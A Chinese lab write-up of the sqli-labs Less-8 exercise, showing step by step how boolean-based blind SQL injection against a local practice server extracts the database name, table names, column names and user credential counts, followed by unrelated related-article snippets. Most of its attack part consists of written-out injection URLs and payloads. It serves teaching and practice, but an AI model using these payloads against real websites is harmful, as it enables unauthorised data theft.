sql_lab之sqli中的布尔盲注(Boolean)less8

目录

1.首先给出value

2.判断注入类型

3.判断字段数

4.判断用什么注入

  (1)用union联合查询来尝试

 (2)用报错注入尝试

(3)用布尔盲注来进行查询

5.判断当前数据库名的长度

(1)将所需要的变量加§,并选择束集炸弹

(2)将变量1改为

(3)将变量2改为

(4)得到最终结果

(5)根据ascii码将结果进行查询得到

6.判断表名

(1)判断表的数量

(2)查询每个表名的长度  

(3)查询表名

7.判断字段名

(1)判断字段数量

(2)判断每个字段的长度

(3)判读字段名

8.查询最终结果username和password


1.首先给出value

http://127.0.0.3/less-8/?id=1 有回显

2.判断注入类型

http://127.0.0.3/less-8/?id=1 有回显

http://127.0.0.3/less-8/?id=1’ 没有回显

http://127.0.0.3/less-8/?id=1’ -- s 有回显

http://127.0.0.3/less-8/?id=1' and 1=1 -- s  有回显

http://127.0.0.3/less-8/?id=1' and 1=2 -- s  没有回显

说明注入类型是单引号字符串注入

3.判断字段数

http://127.0.0.3/less-8/?id=1' order by 3 -- s  有回显

http://127.0.0.3/less-8/?id=1' order by 4 -- s  没有回显

说明字段数为3

4.判断用什么注入

  (1)用union联合查询来尝试

http://127.0.0.3/less-8/?id=1' UNION SELECT 1,database,3 -- s  没有回显说明不是union联合查询

 (2)用报错注入尝试

   http://127.0.0.3/less-8/?id=1' and updatexml('<a><b></b></a>',concat('1111',database(),'1'),'1') -- s  没有回显说明不是报错注

(3)用布尔盲注来进行查询

 http://127.0.0.3/less-8/?id=1' and length(database())>5 -- s  有回显

http://127.0.0.3/less-8/?id=1' and length(database())<10 -- s  有回显

http://127.0.0.3/less-8/?id=1' and length(database())=7 -- s   没有回显

http://127.0.0.3/less-8/?id=1' and length(database())=8 -- s   有回显 

则证明是布尔盲注

5.判断当前数据库名的长度

http://127.0.0.3/less-8/?id=1' and length(database())>5 -- s  有回显

http://127.0.0.3/less-8/?id=1' and length(database())<10 -- s  有回显

http://127.0.0.3/less-8/?id=1' and length(database())=7 -- s   没有回显

http://127.0.0.3/less-8/?id=1' and length(database())=8 -- s   有回显 

则证明数据库名长度为8

用burp进行爆破

(1)将所需要的变量加§,并选择束集炸弹

(2)将变量1改为

(3)将变量2改为

(4)得到最终结果

  

(5)根据ascii码将结果进行查询得到

数据库名为security

6.判断表名

(1)判断表的数量

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) =4 -- s 有回显

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) >3 -- s 有回显

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) >4 -- s 没有回显

说明security中有4个表

(2)查询每个表名的长度  

http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) =6 -- s  有回显

http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) >10 -- s 没有回显

http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) >5 -- s 有回显

说明第一个表名的的长度为6

用burp爆破

将所需要的变量加§,并选择束集炸弹

将变量1改为

将变量2改为

最终结果为

(3)查询表名

第一个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1)) = 1 -- s

通过burp爆破步骤同上得到

所以第一个表名为:emails

第二个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),1,1)) = 1 -- s

所以第二个表名为:refere

第三个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 2,1),1,1)) = 1 -- s

所以第三个表名为:uagent

第四个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 3,1),1,1)) = 1 -- s

所以第四个表名为:users

查到users用户表名

7.判断字段名

(1)判断字段数量

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() and table_name='users') =2 -- s无回显

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() and table_name='users') =3 -- s 有回显

说明字段名的字段数是3

(2)判断每个字段的长度

用SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users' LIMIT 0,1

用burp爆破,步骤同上得到

所以字段1的长度为2,字段2的长度为8,字段3的长度为8

(3)判读字段名

步骤同上

1

2

3

查询得

所以第一个字段名为id,第二个字段名为username,第三个字段名为password

8.查询最终结果username和password

查询username和password总数

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(username) FROM users) =13 -- s 

Username=13

http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(password) FROM users) =13 -- s

Password=13

查询username和password的最终结果

Username

passowrd同理

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/269536.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

自动化测试框架详解

一、什么是自动化测试框架 在了解什么是自动化测试框架之前&#xff0c;先了解一下什么叫框架&#xff1f;框架是整个或部分系统的可重用设计&#xff0c;表现为一组抽象构件及构件实例间交互的方法;另一种定义认为&#xff0c;框架是可被应用开发者定制的应用骨架。前者是从应…

论文解读--Compensation of Motion-Induced Phase Errors in TDM MIMO Radars

TDM MIMO雷达运动相位误差补偿 摘要 为了实现高分辨率的到达方向估计&#xff0c;需要大孔径。这可以通过提供宽虚拟孔径的多输入多输出雷达来实现。但是&#xff0c;它们的工作必须满足正交发射信号的要求。虽然发射单元的时分复用是一种低硬件成本的正交实现&#xff0c;但在…

深度学习中的Dropout

1 Dropout概述 1.1 什么是Dropout 在2012年&#xff0c;Hinton在其论文《Improving neural networks by preventing co-adaptation of feature detectors》中提出Dropout。当一个复杂的前馈神经网络被训练在小的数据集时&#xff0c;容易造成过拟合。为了防止过拟合&#xff…

Vue中Render函数、_ref属性、_props配置的使用

Render函数 由于导入的vue为vue.runtime.xxx.js是运行版的vue.只包含&#xff1a;核心功能&#xff1a;没有模板解析器 完整版的Vue为vue.js包含&#xff1a;核心功能模板解析器 vue.runtime.esm.js中的esm为ES6的模块化 //导入的vue并非完整的vue&#xff0c;这样做的好处是…

nosql-redis整合测试

nosql-redis整合测试 1、创建项目并导入redis2、配置redis3、写测试类4、在redis中创建key5、访问80826、在集成测试中测试方法 1、创建项目并导入redis 2、配置redis 3、写测试类 4、在redis中创建key 5、访问8082 6、在集成测试中测试方法 package com.example.boot3.redis;…

免费使用谷歌Gemini模型学习LLM编程

虽然谷歌的Gemini大语言模型爆出很大的乌龙&#xff0c;但这不影响我们使用Gemini Pro来学习LLM编程。 目前Bard还没有全部切换为Gemini Pro模型&#xff0c;但是作为程序员&#xff0c;已经不需要等待&#xff0c;可以直接调用Gemini Pro的接口了。谷歌这次开发者优先的做法值…

全国250米DEM数据

全国250米DEM数据 DEM是数字高程模型的英文简称(Digital Elevation Model)&#xff0c;是研究分析地形、流域、地物识别的重要原始资料。由于DEM 数据能够反映一定分辨率的局部地形特征&#xff0c;因此通过DEM 可提取大量的地表形态信息&#xff0c;可用于绘制等高线、坡度图、…

【adb】电脑通过ADB向手机传输文件

具体步骤如下&#xff1a; Step1 下载ADB工具 下载最新版本的 ADB工具 !!! 注意&#xff1a;一定要是最新版本的ADB&#xff0c;否则很可能导致无法识别到手机。 将下载的ADB解压以后的文件如下图所示&#xff1a; Step2 添加环境变量 将 ADB的路径 D:\platformtools &…

【svn】win11最新svn每天自动化定时update、commit,隐藏窗口,定时脚本编写

本文使用schtasks结合bat脚本实现全自动svn update以及commit操作。执行时隐藏cmd窗口&#xff0c;全自动后台执行。 执行脚本 写脚本参考了网上很多文章&#xff0c;但是这些文章的方法都有问题或者已经失效&#xff0c;比如&#xff1a; 老版本的bat脚本&#xff0c;使用v…

PSoc62™开发板之按键控制LED

实验目的 使用板子上的用户自定义按键控制LED亮灭&#xff0c;当按键按下时LED亮起来&#xff0c;不按下则不亮 电路图 按键电路 板子有两组按键&#xff0c;分别是系统复位按键和用户自定义按键&#xff0c;这里我们选择控制用户自定义按键&#xff0c;可以看到MCU_USER_B…

UI自动化Selenium 元素定位之Xpath

一、元素定位方式 selenium中定位元素&#xff0c;通常有几种方式&#xff1a; 1、通过id定位&#xff1a;By.ID 2、通过Name定位&#xff1a;By.Name 3、通过元素其他属性定位&#xff0c;如class、type、text文本。。。。。。等等&#xff0c;如果要用属性定位那就需要使…

12.鸿蒙HarmonyOS App(JAVA) page的隐式跳转

跳转到指定Page的指定AbilitySlice MainAbilitySlice按钮触发事件&#xff1a; btn.setClickedListener(component -> { Intent _intent new Intent(); Operation operation new Intent.OperationBuilder() .withBundleName(…

服务器系统时间不同步如何处理

在分布式计算环境中&#xff0c;服务器系统时间的同步至关重要。然而&#xff0c;由于各种原因&#xff0c;服务器系统时间不同步的问题时有发生,这可能会导致严重的问题&#xff0c;如日志不准确、证书验证失败等。下面我们可以一起探讨下造成服务器系统时间不同的原因以及解决…

【2023下算法课设】Gray码的分治构造算法

Gray码是一个长度为2ⁿ的序列&#xff0c;序列中无相同元素&#xff0c;且每个元素都是长度为n位的二进制位串&#xff0c;相邻元素恰好只有1位不同。例如长度为2的格雷码为&#xff08;000,001,011,010,110,111,101,100&#xff09;&#xff0c;设计分治算法对任意的n值构造相…

基于@FeignClient注解实现两个微服务之间接口的调用(简单)

场景需求&#xff1a;微服务A中的接口input需要调用微服务B中接口的output数据。 实现&#xff1a;使用feign实现即可。 微服务B中的接口&#xff1a; 步骤一&#xff1a;微服务A中编写一个接口&#xff0c;该接口就是调用微服务B的接口&#xff1b;需要在接口上添加FeignClien…

视觉学习(5) —— 绑定流程

1、前提 2、接收事件 绑定参数 3、规则列表的设置 &#xff08;1&#xff09;字节起止位置 0到1是两个字节 当输入值为整数1 &#xff08;2&#xff09;比较规则配置 大于 等于 小于 上升沿等等 而后是范围 值等于1到5之间都算满足条件 4、全局触发 以上的逻辑&#xff1a;当…

给矿机,预计到2024年将达到165亿美元

近年来&#xff0c;受加密货币挖矿需求增加和比特币等加密货币升值的推动&#xff0c;矿机市场经历了显着增长。矿机&#xff0c;也称为 ASIC&#xff08;专用集成电路&#xff09;&#xff0c;是专门设计用于执行加密货币挖掘所需的复杂计算的计算机硬件。 全球市场分析&#…

Python 爬虫之下载视频(五)

爬取第三方网站视频 文章目录 爬取第三方网站视频前言一、基本情况二、基本思路三、代码编写四、注意事项&#xff08;ffmpeg&#xff09;总结 前言 国内主流的视频平台有点难。。。就暂且记录一些三方视频平台的爬取吧。比如下面这个&#xff1a; 一、基本情况 这次爬取的方…

财务数据智能化:用AI工具高效制作财务分析PPT报告

Step1: 文章内容提取 WPS AI 直接打开文件&#xff0c;在AI对话框里输入下面指令&#xff1a; 假设你是财务总监&#xff0c;公司考虑与茅台进行业务合作、投资或收购&#xff0c;请整合下面茅台2021年和2022年的财务报告信息。整理有关茅台财务状况和潜在投资回报的信息&…